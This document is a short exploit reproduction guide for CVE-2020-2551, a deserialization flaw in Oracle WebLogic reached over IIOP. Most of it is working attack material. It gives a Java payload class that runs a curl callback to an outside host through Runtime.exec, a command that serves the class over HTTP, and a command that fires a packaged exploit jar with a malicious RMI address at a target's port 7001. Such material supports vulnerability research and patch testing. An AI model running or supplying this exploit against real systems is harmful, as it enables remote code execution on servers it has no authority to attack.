CVE-2020-2551

CVE-2020-2551

Weblogic IIOP Deserialization

Test Environment

Weblogic10.3.6+jdk1.6

Packaged jar file Extraction code: a6ob

Exploit

Download the jar package, then use marshalsec to start a malicious RMI service, compile a local exp.java

package payload;

import java.io.IOException;

public class exp {

    public exp() {
        String cmd = "curl http://172.16.1.1/success";
        try {
            Runtime.getRuntime().exec(cmd).getInputStream();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

Try to compile using the same JDK version and dependency library (wlfullclient.jar) as weblogic Then start a local web server

python -m http.server --bind 0.0.0.0 80

Run the jar package from the command line

java -jar weblogic_CVE_2020_2551.jar 172.16.1.128 7001 rmi://172.16.1.1:1099/exp

Actual effect as shown

Known Issues

Many friends have said that the reproduction is unsuccessful. After reading some articles online, I found that IIOP has NAT mode issues. Today I discovered that there is one on Xianzhi: https://xz.aliyun.com/t/7498 . Please move there yourself.

References

https://y4er.com/post/weblogic-cve-2020-2551/